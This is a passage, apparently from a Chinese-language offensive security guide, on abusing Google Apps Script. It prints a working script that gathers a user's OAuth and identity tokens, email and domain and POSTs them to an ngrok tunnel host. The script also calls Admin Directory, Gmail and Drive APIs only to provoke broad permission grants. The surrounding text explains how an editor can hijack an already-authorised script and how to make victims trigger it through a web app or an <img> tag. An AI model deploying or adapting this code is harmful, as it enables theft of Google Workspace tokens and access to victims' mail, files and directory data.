functiongetToken() {var userEmail =Session.getActiveUser().getEmail();var domain =userEmail.substring(userEmail.lastIndexOf("@") +1);var oauthToken =ScriptApp.getOAuthToken();var identityToken =ScriptApp.getIdentityToken();// Data jsondata = {"oauthToken": oauthToken,"identityToken": identityToken,"email": userEmail,"domain": domain}// Send datamakePostRequest(data);// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissionsvar pageToken ="";page =AdminDirectory.Users.list({domain: domain,// Use the extracted domainorderBy:'givenName',maxResults:100,pageToken: pageToken});// To ask for gmail permissionsvar threads =GmailApp.getInboxThreads(0,10);// To ask for drive permissionsvar files =DriveApp.getFiles();}functionmakePostRequest(data) {var url ='http://5.tcp.eu.ngrok.io:12027';var options = {'method':'post','contentType':'application/json','payload':JSON.stringify(data)};try {UrlFetchApp.fetch(url, options);} catch (e) {Logger.log("Error making POST request: "+e.toString());}}
这也意味着,如果应用脚本已经存在并且人们已经授予了访问权限,任何具有文档上编辑权限的人都可以修改它并滥用该访问权限。
要滥用此功能,您还需要人们触发应用脚本。一个巧妙的技巧是将脚本发布为 Web 应用程序。当已经授予应用脚本访问权限的人们访问网页时,他们将触发应用脚本(这也适用于使用<img>标签)。